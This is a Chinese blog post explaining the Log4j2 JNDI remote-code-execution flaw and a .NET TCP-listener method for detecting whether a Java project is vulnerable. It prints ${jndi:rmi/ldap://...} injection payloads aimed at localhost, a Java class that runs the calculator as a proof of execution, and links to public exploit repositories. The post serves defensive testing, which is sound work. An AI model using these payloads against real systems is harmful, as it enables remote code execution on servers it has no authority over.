.NET 程序测试 Java 项目 log4j2 是否存在远程代码执行漏洞
最近两天被朋友圈的“Apache Log4j2 远程代码执行漏洞”刷屏了,主要是因为组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
影响范围
Apache Log4j 2.x <= 2.14.1
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。
网上很多文章说如何修复漏洞和漏洞截图,几乎没有说如何测试项目是否存在该漏洞。Java 使用 Log4j2 主要测试代码如下:
1 2 | log.info( "${jndi:rmi://127.0.0.1:8100/Main}" ); log.info( "${jndi:ldap://127.0.0.1:8100/Main}" ); |
简单来说就是 Log4j2 会通过 rmi 或者 ldap 协议访问后面的地址,根据协议的内容解析,有可能执行已经恶意构造的代码。
网上几乎都是通过打开 Windows 系统的计算器来证明漏洞的存在,代码如下:
public class Test { static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"open","/System/Applications/Calculator.app"}; java.lang.Runtime.getRuntime().exec(cmds).waitFor(); }catch (Exception e){ e.printStackTrace(); } } }
既然 log4j2 会使用 rmi 或者 ldap 协议访问攻击者的服务器,rmi 和 ldap 协议都是基于 TCP 传输的,那么我们可以直接使用 .NET 监听一个 TCP 端口,如果调用 log4j2 打印日志会访问 .NET 的监听的端口,就证明可能存在漏洞,如果没有访问,就证明安全。
.NET 生成的测试程序非常小 6kb,代码如下:
using System; using System.Net; using System.Net.Sockets; using System.Threading; namespace ConsoleApp2 { internal class Program { static TcpListener listener = null; static void Main(string[] args) { listener = new TcpListener(new IPEndPoint(IPAddress.Any, 8100)); listener.Start(); new Thread(() => { while (true) { TcpClient client = listener.AcceptTcpClient();//接受一个Client Console.WriteLine($"Connection from {client.Client.RemoteEndPoint},可能存在漏洞!"); client.Close(); } }) { IsBackground = true }.Start(); Console.WriteLine("开启监听!"); Console.ReadLine(); listener.Stop(); } } }
尝试使用 log4j 组件 2.14.0 版本执行打印,效果图如下:
尝试将 log4j 组件升级成 2.15.0 版本,再次执行,效果图如下:
升级版本后,发现调用打印日志后,Java 程序没有再访问外部端口。
有兴趣的朋友,可以参考如下链接复现漏洞,调起计算器。
https://github.com/ilsubyeega/log4j2-exploits
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
最后,附上测试程序:https://files.cnblogs.com/files/itsvse/%E6%B5%8B%E8%AF%95%E7%A8%8B%E5%BA%8F.rar
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· DeepSeek在M芯片Mac上本地化部署
· 葡萄城 AI 搜索升级:DeepSeek 加持,客户体验更智能